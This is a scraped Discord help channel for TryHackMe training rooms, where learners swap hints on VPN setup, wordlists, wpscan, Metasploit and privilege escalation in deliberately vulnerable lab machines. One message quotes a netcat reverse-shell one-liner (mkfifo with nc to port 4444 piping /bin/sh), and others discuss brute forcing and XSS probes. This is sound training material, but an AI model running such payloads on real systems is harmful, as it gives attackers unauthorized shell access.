#room-hints | TryHackMe | Page 39

stuck fractal Jul 11, 2020, 3:02 AM

#

That's the point I'm making here

#

it's a pain to do

oblique cliff Jul 11, 2020, 3:02 AM

#

got it, point received, and appreciated

stuck fractal Jul 11, 2020, 3:02 AM

#

But as a box creator, it's possible

oblique cliff Jul 11, 2020, 3:02 AM

#

ok, so you would automate the browser as if it were a person being jack doing stuff

#

and thats how the payload would be executed as the one and only jacky boi, yea?

stuck fractal Jul 11, 2020, 3:03 AM

#

Ye

oblique cliff Jul 11, 2020, 3:04 AM

#

now i understand

#

thank you for your time Mr. Omniscient, sleep deprived, James

#

blobheart

stuck fractal Jul 11, 2020, 3:05 AM

#

I'm not sleep deprived

#

This is about 6pm on my non-existent timezone

oblique cliff Jul 11, 2020, 3:06 AM

#

right but on everyone else's timezone where you are its like 5 am aint it?

#

4*, i looked it up 👀

white salmon Jul 11, 2020, 3:48 AM

#

Okay, I am on introductory networking room and doing well, but question 1 of section 5 makes no sense, plz help

solemn smelt Jul 11, 2020, 3:49 AM

#

do you know what the OSI model is?

white salmon Jul 11, 2020, 3:49 AM

#

yes

#

but it is asking for the protocol

solemn smelt Jul 11, 2020, 3:50 AM

#

Have you analyzed it with wire shark yet?

white salmon Jul 11, 2020, 3:50 AM

#

i may just be tired but it has me stumped lol

#

yes

solemn smelt Jul 11, 2020, 3:51 AM

#

have you followed the descriptions steps to look at the packets

#

if you look at the description of the task it shows you exactly how to find the protocol using wireshark

white salmon Jul 11, 2020, 3:52 AM

#

isn't the protocol ||http||

solemn smelt Jul 11, 2020, 3:52 AM

#

don’t know I haven’t done the room

white salmon Jul 11, 2020, 3:52 AM

#

okay well thank you for the help, I should get off soon it is 1am local time XD

solemn smelt Jul 11, 2020, 3:52 AM

#

just submit whatever wireshark says the protocol is

white salmon Jul 11, 2020, 4:03 AM

#

I figured it out

#

||I didn't check the packet numbers facepalm ||

silent trellis Jul 11, 2020, 4:33 AM

#

Hello everyone, newbie here with a quick and hopefully easy question. Working on the Metasploit room and I seem to be stuck on the Task 4, question 7.
While that use command with the unique string can be incredibly useful that's not quite the exploit we want here. Let's now run the command 'search multi/handler'. What is the name of the column on the far left side of the console that shows up next to 'Name'? Go ahead and run the command 'use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.
When I run it on my kali vm (personal) I get 6, but that is not the correct number apparently. Probably because of a different version from when the room was created. Any ideas on how to figure this one out?

stuck fractal Jul 11, 2020, 4:34 AM

#

Read the question @silent trellis

#

The actual question doesn't ask for the number

#

Look for the question words and question mark.

silent trellis Jul 11, 2020, 4:35 AM

#

wow thank you, I feel like a total idiot now lol

keen willow Jul 11, 2020, 12:21 PM

#

any hints on jeff ||jail break jeff user|| or i am in another ||rabbit-hole||

wraith marsh Jul 11, 2020, 12:24 PM

#

You're on the correct path, google || escaping rbash || and try some things

keen willow Jul 11, 2020, 12:26 PM

#

You're on the correct path, google || escaping rbash || and try some things
@wraith marsh googleing since morning, another hint would be nice.

lime needle Jul 11, 2020, 12:54 PM

#

Hey i am doing room blog and stuck at login i have username but is it donno about password

#

Do i need to brute it?

#

I tried with rockyou but it's since 1hr and didn't get any pass

trim haven Jul 11, 2020, 12:56 PM

#

I haven't completed the room but I'd suggest to keep looking for information whilst it's brute forcing in the background.

oblique cliff Jul 11, 2020, 12:56 PM

#

If brute forcing takes more than 5 minutes on THM (10 if your computer is slow or something) then it’s probably wrong

#

@lime needle

#

Room creators are told to keep brute forcing under 5 minutes

lime needle Jul 11, 2020, 12:59 PM

#

yeah i guess i am doing something wrong

white salmon Jul 11, 2020, 1:02 PM

#

Task 16 advent of code , after anonymous login to ftp can't really execute any commands tried passive mode -p didn't help. Does this mean there is some restriction on ftp ?

📎 unknown.png

oblique cliff Jul 11, 2020, 1:12 PM

#

Switch vpn servers @white salmon

cursive nexus Jul 11, 2020, 1:21 PM

#

In polosmb3, when I get the id_rsa file and change permissions/try to connect to ssh with it, should I just be let in or am I meant to try getting a password as well?

oblique cliff Jul 11, 2020, 1:22 PM

#

If you look at the rsa key does it say it’s encrypted?

cursive nexus Jul 11, 2020, 1:22 PM

#

Not sure how to look for that.

oblique cliff Jul 11, 2020, 1:23 PM

#

Cat out the rsa key and see if it says the word “encrypted” anywhere 🙂

cursive nexus Jul 11, 2020, 1:23 PM

#

Oh you meant to cat it out.

#

Sorry. Long day.

#

It does not.

oblique cliff Jul 11, 2020, 1:25 PM

#

No sorry necessary

#

Then there’s no password

#

So if you get the username right you should be able to just ssh in

cursive nexus Jul 11, 2020, 1:26 PM

#

So that would mean I am doing something wrong with the login.

white salmon Jul 11, 2020, 1:26 PM

#

@oblique cliff I tried switching vpn server still same issue, is this known issue?

oblique cliff Jul 11, 2020, 1:26 PM

#

@cursive nexus most likely wrong username

cursive nexus Jul 11, 2020, 1:26 PM

#

I have john as the username but it still asks for password.

oblique cliff Jul 11, 2020, 1:27 PM

#

I haven’t done that room so idk for sure but if you have an unencrypted rsa key that’s the only thing I can think of

#

Try John, Johnny boi, jj

#

Idk random stuff

cursive nexus Jul 11, 2020, 1:27 PM

#

Should it hang if the username is incorrect?

oblique cliff Jul 11, 2020, 1:28 PM

#

@white salmon switch to passive mode? Uh I’ve seen some people having trouble with ftp sometimes the issue always seems to be using a different vpn server

white salmon Jul 11, 2020, 1:28 PM

#

some open ssh versions have username enumeration exploit

oblique cliff Jul 11, 2020, 1:28 PM

#

@cursive nexus it may? If it’s the incorrect username for the corresponding rsa key it’ll ask for a password. If it’s correct you’ll be logged in

#

@white salmon true but that doesn’t always work too well. If I had to guess it’s somewhere on the box

white salmon Jul 11, 2020, 1:29 PM

#

with passive mode

📎 unknown.png

cursive nexus Jul 11, 2020, 1:30 PM

#

@oblique cliff Thank you for that. I managed to get in :)

oblique cliff Jul 11, 2020, 1:30 PM

#

Awesome! Wrong username?

#

@white salmon yes try switching vpn servers then

#

If that doesn’t work then #site-support

white salmon Jul 11, 2020, 1:31 PM

#

aight I'll try all servers

cursive nexus Jul 11, 2020, 1:32 PM

#

Awesome! Wrong username?
@oblique cliff Yeah. ||I'd copied over the .pub as well, read that and spotted the real one in there||

chilly mantle Jul 11, 2020, 1:47 PM

#

I need some hint on Blog (box released yesterday)!

wooden mist Jul 11, 2020, 2:01 PM

#

what stage are you on?

chilly mantle Jul 11, 2020, 2:05 PM

#

i have tried brute forcing ,enumurating shares

#

used steg also on jpgs

#

didnt get anything!

wooden mist Jul 11, 2020, 2:08 PM

#

smb is a rabbit hole

#

check http and the room tags

#

that should point you in the right direction

lime needle Jul 11, 2020, 2:10 PM

#

I got username

median compass Jul 11, 2020, 2:10 PM

#

not all the room tags are visible in the dashboard, if you look at the api call you can find some more ||"tags":["cve 2019-8943","wordpress","blog","web","wpscan","linux","security","cutter","reverse engineering","binary exploitation"]||

chilly mantle Jul 11, 2020, 2:10 PM

#

tried everything bro anything else?

lime needle Jul 11, 2020, 2:11 PM

#

@wooden mist how can I get password for user in blog

median compass Jul 11, 2020, 2:11 PM

#

have you tried wpscan @chilly mantle

chilly mantle Jul 11, 2020, 2:12 PM

#

ya got 2 usernames

wooden mist Jul 11, 2020, 2:12 PM

#

if you don't have a shell then you haven't tried everything

median compass Jul 11, 2020, 2:12 PM

#

have you read and understood the output of wpscan?

wooden mist Jul 11, 2020, 2:12 PM

#

also wpscan -h

median compass Jul 11, 2020, 2:12 PM

#

one of the other findings it gives you is helpful

wooden mist Jul 11, 2020, 2:12 PM

#

might help you with the next step

merry helm Jul 11, 2020, 2:16 PM

#

@wooden mist Hi, I already have the shell in the machine (Blog room), I rode, rode and I can not find the way to the user, where can I look?

wooden mist Jul 11, 2020, 2:17 PM

#

look for other routes

#

maybe the user is a rabbit hole 🤔

median compass Jul 11, 2020, 2:17 PM

#

the additional room hints I posted up there might help you @merry helm

merry helm Jul 11, 2020, 2:18 PM

#

look for other routes
@wooden mist thank you

#

the additional room hints I posted up there might help you @merry helm
@median compass thank you

median compass Jul 11, 2020, 2:19 PM

#

happy hunting

verbal wedge Jul 11, 2020, 2:44 PM

#

Man nobody has pinged me on the awesome video I left in SMB lol

#

I never thought of user being a rabbit hole lol

#

But sometimes the path to user is different than you'd expect

#

@wooden mist did you find the video?

wooden mist Jul 11, 2020, 2:47 PM

#

Yes

#

Didn't play it tho

verbal wedge Jul 11, 2020, 2:47 PM

#

Ughhhhh

#

It was meant to be played!

wooden mist Jul 11, 2020, 2:47 PM

#

I was in vc with some people and someone played it

#

Goat meme or smth

verbal wedge Jul 11, 2020, 2:48 PM

#

Yis

wooden mist Jul 11, 2020, 2:48 PM

#

¯\_(ツ)_/¯

verbal wedge Jul 11, 2020, 2:48 PM

#

Well I thought it was funny my cat friend

chrome sand Jul 11, 2020, 2:49 PM

#

For RA how do you figure out the username to reset the password. I tried all the ones in the webpage but none worked. Do you just guess names?

wooden mist Jul 11, 2020, 2:50 PM

#

The username is somewhere on the page

#

Just not where you think it might be

chrome sand Jul 11, 2020, 2:51 PM

#

Ok thanks. I'll look harder.

keen willow Jul 11, 2020, 3:12 PM

#

the user flag i found on jeff is wrong as per website. NotLikeThis

wooden mist Jul 11, 2020, 3:12 PM

#

hash it ;)

toxic scarab Jul 11, 2020, 3:12 PM

#

do what it says to do

keen willow Jul 11, 2020, 3:13 PM

#

Ah, i thought its over kekw

toxic scarab Jul 11, 2020, 3:13 PM

#

almost

keen willow Jul 11, 2020, 3:16 PM

#

ufff... jeff you killed me dude. @blazing rune , thanks man.

crisp wigeon Jul 11, 2020, 4:46 PM

#

I need some help in room blog, have credentials and by exploit in msf having an error as aborted .. thanks in advance

oblique cliff Jul 11, 2020, 4:46 PM

#

Show your options

crisp wigeon Jul 11, 2020, 5:00 PM

#

I set option rhost ,lhost,user, passwd,targeturi

merry helm Jul 11, 2020, 5:01 PM

#

I set option rhost ,lhost,user, passwd,targeturi
@crisp wigeon Change payload and run again

verbal wedge Jul 11, 2020, 5:11 PM

#

show us your options

#

also, what payload did you choose?

#

i made sure that only one specific one will work

#

and if you do a little research about the Wordpress version, youll find it

#

not sure what research youve done, just offering tips

astral cedar Jul 11, 2020, 5:17 PM

#

Can I get a hint what to do next after having reverse shell as www-data in room blog

solemn smelt Jul 11, 2020, 5:17 PM

#

priv esc

crisp wigeon Jul 11, 2020, 5:18 PM

#

@verbal wedge i used that one playload ..googled some few are using that ..

median compass Jul 11, 2020, 5:18 PM

#

i posted the full tips for the room earlier in here @astral cedar, that should give you a clue

verbal wedge Jul 11, 2020, 5:18 PM

#

^^

#

I didnt see them but i trust

#

@crisp wigeon something is wrong then. Can I see your whole options?

#

@astral cedar yeah privesc is next like Cry says

crisp wigeon Jul 11, 2020, 5:19 PM

#

@verbal wedge shall i DM with pic.

#

??

verbal wedge Jul 11, 2020, 5:19 PM

#

Best hint i can give is its not your standard enum -> user -> root

#

yeha go for it

#

you can spoiler tag it too

#

images can be tagged

astral cedar Jul 11, 2020, 5:21 PM

#

Thanks guys. I will try harder

verbal wedge Jul 11, 2020, 5:21 PM

#

you got this

astral cedar Jul 11, 2020, 5:22 PM

#

i posted the full tips for the room earlier in here @astral cedar, that should give you a clue
@median compass How can I find it? When I search your name in dc nothing comes

median compass Jul 11, 2020, 5:23 PM

#

not all the room tags are visible in the dashboard, if you look at the api call you can find some more ||"tags":["cve 2019-8943","wordpress","blog","web","wpscan","linux","security","cutter","reverse engineering","binary exploitation"]||
@median compass here you go

astral cedar Jul 11, 2020, 5:23 PM

#

Thanks man

void plinth Jul 11, 2020, 5:25 PM

#

||i tried bruteforcing moms name in blog. checked about 3000 pass.Im i going the wrong path.?||

verbal wedge Jul 11, 2020, 5:27 PM

#

er, yes

#

it should find the pw in under 2 minutes

true widget Jul 11, 2020, 5:30 PM

#

i m solving hackpark and trying to bruteforce|| web form|| using hydra. I have tried more than 10k passwords from big.txt.Am i doing anything wrong?

astral cedar Jul 11, 2020, 5:31 PM

#

er, yes
@verbal wedge what about bill's username? 😦

solemn smelt Jul 11, 2020, 5:32 PM

#

why big.txt

#

is that even a password wordlist?

trim haven Jul 11, 2020, 5:32 PM

#

big.txt is for dirbuster

verbal wedge Jul 11, 2020, 5:32 PM

#

you wont get bjoel's

trim haven Jul 11, 2020, 5:32 PM

#

rockyou.txt is for passwords/custom wordlists

astral cedar Jul 11, 2020, 5:32 PM

#

you wont get bjoel's
@verbal wedge oh

solemn smelt Jul 11, 2020, 5:33 PM

#

@true widget youre trying to use a directory wordlist for a password brute force try using rockyou as your wordlist

trim haven Jul 11, 2020, 5:34 PM

#

If you ever crack passwords on THM use rockyou.txt, unless told otherwise. All rooms use passwords that are in the rockyou.txt file.

true widget Jul 11, 2020, 5:35 PM

#

okk initially I was using rockyou.txt but after a few thousands of passwords decided to use big.txt as I was unaware thats is a directory wordlists

merry helm Jul 11, 2020, 5:38 PM

#

For environments that contains a Wordpress is always good tone run wpscan, it will give you various information about the manager, users, themes... from that you follow with the enumeration

verbal wedge Jul 11, 2020, 5:39 PM

#

^

astral cedar Jul 11, 2020, 5:43 PM

#

Oh man I am losing my mind. I cannot privESC. Can I get 1 more hint? maybe via DM if its too much for here

verbal wedge Jul 11, 2020, 5:43 PM

#

What have you tried

astral cedar Jul 11, 2020, 5:46 PM

#

Found the emails of the billy and his mom bruteforce them ssh. Couldnt find anything useful with ||pspy64|| and ||LinEnum||.

verbal wedge Jul 11, 2020, 5:46 PM

#

Can someone help @crisp wigeon ? It seems his msf options are correct but he keeps erroring

#

@astral cedar you found nothing unusual with LinEnum?

#

That's surprising

astral cedar Jul 11, 2020, 5:46 PM

#

tried to exploit Sudoers policy plugin version ||1.8.21p2||

verbal wedge Jul 11, 2020, 5:46 PM

#

I use linux-smart-enumeration instead

#

Try that

#

You'll find it

astral cedar Jul 11, 2020, 5:47 PM

#

okay I will

verbal wedge Jul 11, 2020, 5:47 PM

#

And again. The path isn't always enum -> user -> root

#

That's a big hint

astral cedar Jul 11, 2020, 5:49 PM

#

I think it will make sense a lot when I finish that room

verbal wedge Jul 11, 2020, 5:51 PM

#

Ye it will

#

It's also a hint

#

I'm surprised LinEnum didn't find it

#

It's like a big red flag

#

Literally

astral cedar Jul 11, 2020, 5:55 PM

#

Maybe Its my mistake

toxic scarab Jul 11, 2020, 6:18 PM

#

In linpeas i think it’s a more subdued white flag in a sea of green.

verbal wedge Jul 11, 2020, 6:27 PM

#

Yeee

pseudo hamlet Jul 11, 2020, 6:44 PM

#

Guys Im doing Blue Room in nmap scan im using -A but scan doesnt showing service Version

#

📎 unknown.png

stuck fractal Jul 11, 2020, 6:46 PM

#

They're showing as filtered

#

Filtered != open

#

You can't fingerprint a service that you can't talk to

#

Fix your VPN

pseudo hamlet Jul 11, 2020, 6:53 PM

#

ok

merry helm Jul 11, 2020, 6:57 PM

#

@verbal wedge So I'm banging on this suid for a while, and I can't identify which property to check it does, which is necessary (if the tip is feasible)? I've tried to identify it via radare, but nothing that's helped me...

verbal wedge Jul 11, 2020, 6:59 PM

#

|| strings ||

median compass Jul 11, 2020, 7:01 PM

#

the box also has ltrace @merry helm, that might help too

merry helm Jul 11, 2020, 7:07 PM

#

Oh thanks @verbal wedge @median compass I still have a lot to learn about reverse engineering

median compass Jul 11, 2020, 7:07 PM

#

trust me @merry helm, me too! 🙂

verbal wedge Jul 11, 2020, 7:09 PM

#

Me too lol

#

#resources has a lot pinned

#

This technically isn't true RE

#

The box I just submitted is though

wooden mist Jul 11, 2020, 7:11 PM

#

it is RE

#

it's not true binex

verbal wedge Jul 11, 2020, 7:12 PM

#

Yeah that

late night Jul 11, 2020, 7:24 PM

#

hi I need help with the room rpmetasploit, everything went well untill the 'exploit' command. I am getting 'handler failed to bind to MY_IP_ON_TRYHACKME "

#

I just cant figure out what I am doing wrong

#

for "MY_IP_ON_TRYHACKME" I put in my tryhackme/access ip address

verbal wedge Jul 11, 2020, 7:27 PM

#

Don't trust that

#

Do IP a when you're connected to the VPN

#

ip a

median compass Jul 11, 2020, 7:29 PM

#

you can also use set LHOST tun0 @late night

verbal wedge Jul 11, 2020, 7:29 PM

#

^^

#

Facts

median compass Jul 11, 2020, 7:30 PM

#

that will set your local host to the address of your VPN interface automatically

trim haven Jul 11, 2020, 7:30 PM

#

I was advised by two awesome people not to use tun0 as it’s a hit or miss, bare that in mind ;)

#

Just type in the IP rather than typing tun0

late night Jul 11, 2020, 7:31 PM

#

i see a few ip address when I type "ip a' I tryed all of them and none of them worked

median compass Jul 11, 2020, 7:31 PM

#

I'd say that the setting of LHOST is a bit hit and miss in general, that's just a metasploit quirk

late night Jul 11, 2020, 7:31 PM

#

tryed set LHOST tun0 and that did not work wither

trim haven Jul 11, 2020, 7:31 PM

#

seems like a hit or miss for you

late night Jul 11, 2020, 7:31 PM

#

either

trim haven Jul 11, 2020, 7:32 PM

#

@late night are you connected to the network through openvpn

torn pine Jul 11, 2020, 7:32 PM

#

In room "Network services", Task 7, Q5, i'm supposed to start a tcpdump using ||"sudo tcpdump ip proto \icmp -i tun0"|| ..
But i get ||tcpdump: tun0: No such device exists - (SIOCGIFHWADDR: No such device)||
How come?

trim haven Jul 11, 2020, 7:32 PM

#

You’re not connected to the vpn

torn pine Jul 11, 2020, 7:33 PM

#

I'm using the in-browser machine

median compass Jul 11, 2020, 7:33 PM

#

when you do ip a do you see an interface called tun0 @late night?

#

ahhh, ok, then there's no VPN

late night Jul 11, 2020, 7:33 PM

#

In room "Network services", Task 7, Q5, i'm supposed to start a tcpdump using ||"sudo tcpdump ip proto \icmp -i tun0"|| ..
But i get ||tcpdump: tun0: No such device exists - (SIOCGIFHWADDR: No such device)||
How come?
@torn pine yes and everything else is working so far

trim haven Jul 11, 2020, 7:33 PM

#

@torn pine you should get told your IP address on the my machine website

#

You have to set it there I believe

#

But I haven’t used it so don’t quote me

median compass Jul 11, 2020, 7:34 PM

#

what addresses do you see @late night?

torn pine Jul 11, 2020, 7:34 PM

#

@trim haven So the syntax for tcpdump is ||"sudo tcpdump [my own ip] proto \icmp -i tun0"||?

trim haven Jul 11, 2020, 7:35 PM

#

Nono

#

Not your zip

#

IP*

#

I’m pretty sure the Kali in browser machine tells you “use this IP”

median compass Jul 11, 2020, 7:36 PM

#

let me rephrase the question @late night - can you copy the output of ip a here?

trim haven Jul 11, 2020, 7:36 PM

#

According to the awesome staff member James, it’s “Eth0” instead of tun0

stuck fractal Jul 11, 2020, 7:37 PM

#

ip a s and you'll see the adapters

#

It's the one with the 10.10

torn pine Jul 11, 2020, 7:37 PM

#

ye, i just figured 😂

#

but the syntax should still be || ip proto|| in the middle? and not the actual ip?

#

Or should it be ||[target machine ip] [some proto ive no idea which]||?

trim haven Jul 11, 2020, 7:38 PM

#

I will be honest

#

I have no clue

#

On what you’re saying

median compass Jul 11, 2020, 7:39 PM

#

@torn pine just change the tun0 at the end to eth0 if you're not on a VPN and keep everything else the same

trim haven Jul 11, 2020, 7:40 PM

#

As I said

median compass Jul 11, 2020, 7:40 PM

#

what you're doing is asking to see all the packets that match that bit in the middle (IP PROTOcol ICMP) that arrive on a particular interface

torn pine Jul 11, 2020, 7:41 PM

#

So it should still be "ip proto".. awesome

median compass Jul 11, 2020, 7:41 PM

#

for most people that connect over a TUNnel from their own machine that interface is tun0

torn pine Jul 11, 2020, 7:41 PM

#

works now.. fuck me.. ive never used tcpdumps before and google didn't show shit 😄

#

thanks

median compass Jul 11, 2020, 7:41 PM

#

well it wouldn't be fun if we weren't learning would it 🙂

#

happy hunting

trim haven Jul 11, 2020, 7:42 PM

#

Watch the language pls

late night Jul 11, 2020, 7:46 PM

#

let me rephrase the question @late night - can you copy the output of ip a here?
@median compass [*] exec: ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:23:ff:90 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 81248sec preferred_lft 81248sec
inet6 fe80::a00:27ff:fe23:ff90/64 scope link noprefixroute
valid_lft forever preferred_lft forever

median compass Jul 11, 2020, 7:47 PM

#

ok, so you want to set your LHOST to 10.0.2.15

stuck fractal Jul 11, 2020, 7:47 PM

#

No

#

That's a virtualbox internal NAT IP

#

Connect to the VPN on your attacking machine @late night

#

Not from the host

median compass Jul 11, 2020, 7:48 PM

#

he's not using a VPN James, he's on the in browser kali box he said

stuck fractal Jul 11, 2020, 7:48 PM

#

That's a lie.

#

Because that IP is an internal virtualbox NAT IP

#

And cannot be the IP of a THM browser kali.

late night Jul 11, 2020, 7:49 PM

#

ok, so you want to set your LHOST to 10.0.2.15
@median compass tryed that too, didnt work

stuck fractal Jul 11, 2020, 7:49 PM

#

@late night you are using virtualbox, correct?

#

You need to connect to the TryHackMe openvpn from your virtual machine

late night Jul 11, 2020, 7:50 PM

#

he's not using a VPN James, he's on the in browser kali box he said
@median compass I didnt say I am using the browser kali. I am on my own VM using OpenVPN

median compass Jul 11, 2020, 7:50 PM

#

yeah, you're right - so @late night you need to do `sudo openvpn <creds>.ovpn after getting connection details from https://tryhackme.com/connect?o=vpn

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

#

sorry, think I got you confused with the other guy asking questions at the same time, my bad

stuck fractal Jul 11, 2020, 7:50 PM

#

@median compass different perskn using the THM Kali

#

Ye

#

@late night I'm guessing you're running the VPN on your host os

#

For many reasons, that's bad

#

Run the VPN on your VM directly

torn pine Jul 11, 2020, 7:52 PM

#

For many reasons, that's bad
@stuck fractal out of curiosity.. why is this worse than through the VM? Only because of not broadcasting the whole host os to the VPN or any other reason?

stuck fractal Jul 11, 2020, 7:52 PM

#

Because your VPN IP then points to the host

late night Jul 11, 2020, 7:52 PM

#

Run the VPN on your VM directly
@stuck fractal THAT makes sense

stuck fractal Jul 11, 2020, 7:53 PM

#

So you need to port forward for reverse shells etc @torn pine

torn pine Jul 11, 2020, 7:53 PM

#

Aahhh, cause of the reverse shells... gotcha

stuck fractal Jul 11, 2020, 7:53 PM

#

You gloss over a lot of the connectivity stuff because your VM software does NAT

#

More than rev shells

median compass Jul 11, 2020, 7:53 PM

#

also puts you in a different broadcast domain so things like sniffing traffic etc won't work

late night Jul 11, 2020, 7:53 PM

#

I can get OPENVPN on kali

torn pine Jul 11, 2020, 7:54 PM

#

👍🏻

late night Jul 11, 2020, 7:55 PM

#

Thanks soooo much, there were some other things that were comming out differently than it was supposed to. like I kept on getting more open ports when running nmap that I was supposed to

torn pine Jul 11, 2020, 7:55 PM

#

I can't get SKIDY's BACKDOOR working when posting the msfvenom payload into the telnet connection. Nothing shows on either my tcpdump or my netcat listener.. I would expect my netcat listener to become a shell? But absolutely nothing happens... I've triple checked the eth0 IP and nc port...
and even the payload ||mkfifo /tmp/sxbendj; nc 10.10.30.74 4444 0</tmp/sxbendj | /bin/sh >/tmp/sxbendj 2>&1; rm /tmp/sxbendj|| seems fine..
What am i doing wrong?

stuck fractal Jul 11, 2020, 8:02 PM

#

@torn pine You missed something curcial

torn pine Jul 11, 2020, 8:02 PM

#

😮

stuck fractal Jul 11, 2020, 8:02 PM

#

You need the prefix .RUN on your command

torn pine Jul 11, 2020, 8:03 PM

#

You're right!!.. thx! 😄

late night Jul 11, 2020, 8:27 PM

#

GOT IN !!! (and just got a phone call from the doctor that I have Carona 😦

median compass Jul 11, 2020, 8:36 PM

#

yikes @late night ... congrats and commiserations both

late night Jul 11, 2020, 8:36 PM

#

🙂 the doc said I should live 🙂

keen willow Jul 11, 2020, 9:05 PM

#

GOT IN !!! (and just got a phone call from the doctor that I have Carona 😦
@late night dont worry, stay positive and fight back. You will be all right.

late night Jul 11, 2020, 9:06 PM

#

Thanks, I hope so

merry helm Jul 11, 2020, 9:08 PM

#

Blog room complete, thanks @median compass for the final clarifications

verbal wedge Jul 11, 2020, 9:14 PM

#

Grats :)

solid pebble Jul 11, 2020, 9:55 PM

#

https://tenor.com/view/tommy-come-fly-with-me-sip-order-counter-gif-15040745

Tenor

weak tartan Jul 12, 2020, 1:03 AM

#

@merry helm can you say me one hint about Blog room ?

#

I have no idea how I do the privesc

#

@verbal wedge and @median compass can you help ?

verbal wedge Jul 12, 2020, 1:11 AM

#

yeet

#

which privesc

weak tartan Jul 12, 2020, 1:11 AM

#

https://tryhackme.com/room/blog

TryHackMe

TryHackMe | Blog

Billy Joel made a Wordpress blog!

#

that

verbal wedge Jul 12, 2020, 1:11 AM

#

which privesc

#

well which step

weak tartan Jul 12, 2020, 1:12 AM

#

I'm on the user www-data

verbal wedge Jul 12, 2020, 1:12 AM

#

where are you at

#

okay

#

there we go

#

so uhhhh

#

have you run linpeas or linenum or linux-smart-enumeration?

#

that will give you your answer

weak tartan Jul 12, 2020, 1:12 AM

#

ya, i runned linpeas

#

hmm

#

ok

#

i try linux-smart-enumeration

verbal wedge Jul 12, 2020, 1:16 AM

#

itll show there

weak tartan Jul 12, 2020, 1:16 AM

#

okay, ty

proven pier Jul 12, 2020, 1:20 AM

#

hello im sorry to ask this late but i was wondering if i coold get a hint for the room Vulnversity, iv been having problems on how to find the version of the squid proxy that is runnning on the machine

oblique cliff Jul 12, 2020, 1:21 AM

#

Did you enumerate?

proven pier Jul 12, 2020, 1:22 AM

#

no

#

and i dont know how

stuck fractal Jul 12, 2020, 1:23 AM

#

Do RP Nmap

proven pier Jul 12, 2020, 1:25 AM

#

it says failed to resolved

graceful sun Jul 12, 2020, 1:26 AM

#

im very close with the blog box. it says RCE-HERE and i got the js to execute but dono how to browse files after it ends? im not quite sure how it works fully. i seen one person who had a command prompt that poped up when he did it but mine didnt have one, any help would be great

stuck fractal Jul 12, 2020, 1:32 AM

#

it says failed to resolved
@proven pier wat

proven pier Jul 12, 2020, 1:33 AM

#

when i put RP Nmap wih the ip and make it run it says failed to resolved

toxic scarab Jul 12, 2020, 1:34 AM

#

no.

#

RP Nmap is a room that was suggested for you to do to teach you the skills that are needed to answer the questions you were asking about the room you are having trouble in

proven pier Jul 12, 2020, 1:35 AM

#

ohh ok im a idiot hahah

#

thank you il give it a try

oblique cliff Jul 12, 2020, 1:41 AM

#

youre ~~probably~~ not an idiot

graceful sun Jul 12, 2020, 1:53 AM

#

anyone done blog yet?

white salmon Jul 12, 2020, 1:53 AM

#

yeah

#

what's your question?

graceful sun Jul 12, 2020, 1:58 AM

#

so i executed the javascript and i got RCE-HERE on the wp page and it also said "open id-48" the way i seen someone else do it they automated it and had a cmd prompt pop up after the java executed. so im just stuck after doing that what i need to do next to get the exploit to work. if im even right. i feel like i am

white salmon Jul 12, 2020, 1:59 AM

#

did you read the tags for the box?

graceful sun Jul 12, 2020, 2:02 AM

#

yes. im useing that exploit. just a diffrent one. because the msf mod wont work so i figured that wasent the way.

#

im useing the RIPS exploit

#

"riptechs"

#

msf keeps saying Exploit aborted due to failure: not-found: Failed to access Wordpress page to retrieve theme

white salmon Jul 12, 2020, 2:03 AM

#

metasploit should work

remote gate Jul 12, 2020, 2:03 AM

#

fwiw the msf module worked for me

graceful sun Jul 12, 2020, 2:04 AM

#

wow. i spent all this time playing with Java..... gross..... ok well that should help alot now that i know that

white salmon Jul 12, 2020, 2:04 AM

#

manual way could be fun

remote gate Jul 12, 2020, 2:04 AM

#

@graceful sun if you have issues with it you can pm me if you want

graceful sun Jul 12, 2020, 2:05 AM

#

it kinda is....i was really into it. but i just cant figure out how to do it. but it would be fun i think

#

thank you! @remote gate

sage belfry Jul 12, 2020, 2:07 AM

#

has anyone had issues with Blaster not populating the IE history?

oblique cliff Jul 12, 2020, 2:07 AM

#

@sage belfry known issue

brave bear Jul 12, 2020, 2:07 AM

#

matt its a issue you have to configure to solve

stuck fractal Jul 12, 2020, 2:08 AM

#

matt its a issue you have to configure to solve
@brave bear No?

white salmon Jul 12, 2020, 2:08 AM

#

@sage belfry you can use an other exploit

brave bear Jul 12, 2020, 2:08 AM

#

idk for me it wasnt working either

#

when i rdped

#

i did restart a few times

oblique cliff Jul 12, 2020, 2:09 AM

#

is the XSS room finnicky or something? challenge 3 word hello is filtered, so this alert should work, but its not alerting me anything

#

📎 unknown.png

brave bear Jul 12, 2020, 2:09 AM

#

nope its supposed to be that way i think

oblique cliff Jul 12, 2020, 2:09 AM

#

@brave bear theres nothing to configure is what james was saying, it is still a known issue

brave bear Jul 12, 2020, 2:09 AM

#

ohhh okaaay

stuck fractal Jul 12, 2020, 2:09 AM

#

is the XSS room finnicky or something? challenge 3 word hello is filtered, so this alert should work, but its not alerting me anything
@oblique cliff You have a js error

#

alert(hi)

#

alert("hi")

sage belfry Jul 12, 2020, 2:09 AM

#

thanks guys

stuck fractal Jul 12, 2020, 2:10 AM

#

unless you define hi as hello

#

Which would be 10/10

oblique cliff Jul 12, 2020, 2:10 AM

#

@stuck fractal tried it with both double and single quotes

📎 unknown.png

#

still nothing

stuck fractal Jul 12, 2020, 2:10 AM

#

No idea then

brave bear Jul 12, 2020, 2:10 AM

#

with that one you have to actually say hello

#

but its filtered

oblique cliff Jul 12, 2020, 2:10 AM

#

no i know, im just trying to get anyhting to appear as a POC

stuck fractal Jul 12, 2020, 2:10 AM

#

Tag me again in about 3s

brave bear Jul 12, 2020, 2:11 AM

#

sooo try innovative solutions

oblique cliff Jul 12, 2020, 2:11 AM

#

@stuck fractal ok...?

brave bear Jul 12, 2020, 2:11 AM

#

